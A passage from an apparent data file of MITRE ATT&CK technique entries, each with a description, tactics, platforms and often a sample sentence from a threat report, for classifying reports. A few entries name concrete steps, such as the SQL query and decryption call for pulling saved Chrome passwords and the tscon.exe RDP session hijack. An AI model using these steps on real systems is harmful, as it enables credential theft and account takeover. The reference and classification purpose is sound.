cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: | T1539 | Steal Web Session Cookie |" + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * Collects login and passwords, cookies, autocomplete fields, credit cards" + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: Users will be redirected to the main credential-phishing page after solving the captcha." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: The messages contained a URL which likely leads to a fake Microsoft authentication page designed to harvest user credentials." + }, + { + "id": "T1556", + "text": "ATT&CK technique: T1556 Modify Authentication Process\nDescription: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: | **T1556** | **Modify Authentication Process** |" + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: Figure 5: Hits of skimmer groups abusing legitimate services over 90 days." + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla." + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: **Password stealer:** M00nD3V Logger has the capability to steal passwords and cookies from all possible browsers and email clients, as well as FTP clients." + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS\nLabeled report example: | T1503 | Credentials from Web Browsers |" + }, + { + "id": "T1110", + "text": "ATT&CK technique: T1110 Brute Force\nDescription: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Systems that use weak credentials are easy targets, and, once compromised, attackers sell access to the hacked systems on the dark web to other cybercriminals." + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: * Stealing Telegram session files" + }, + { + "id": "T1125", + "text": "ATT&CK technique: T1125 Video Capture\nDescription: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Aside from keystroke logging, the M00nD3VLoggerhas the ability to steal confidential information such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials and capture Windows Keystrokes, as well as gain access to the webcam and hook the clipboard." + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Attackers use this channel to establish a remote connection to a WordPress site and make modifications without being directly logged in to your WordPress system." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 7: JavaScript file used to send user’s credentials to attacker’s server*" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Lab52 hypothesis is that attackers compromise routers with default credentials and use them as a frontend for their real command and control server." + }, + { + "id": "T1606.001", + "text": "ATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1563.002", + "text": "ATT&CK technique: T1563.002 RDP Hijacking\nDescription: Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.\nTactics: lateral movement\nPlatforms: Windows" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1550.001", + "text": "ATT&CK technique: T1550.001 Application Access Token\nDescription: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application. For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration. Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated. Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1134.001", + "text": "ATT&CK technique: T1134.001 Token Impersonation/Theft\nDescription: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1563", + "text": "ATT&CK technique: T1563 Remote Service Session Hijacking\nDescription: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1134.003", + "text": "ATT&CK technique: T1134.003 Make and Impersonate Token\nDescription: Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the 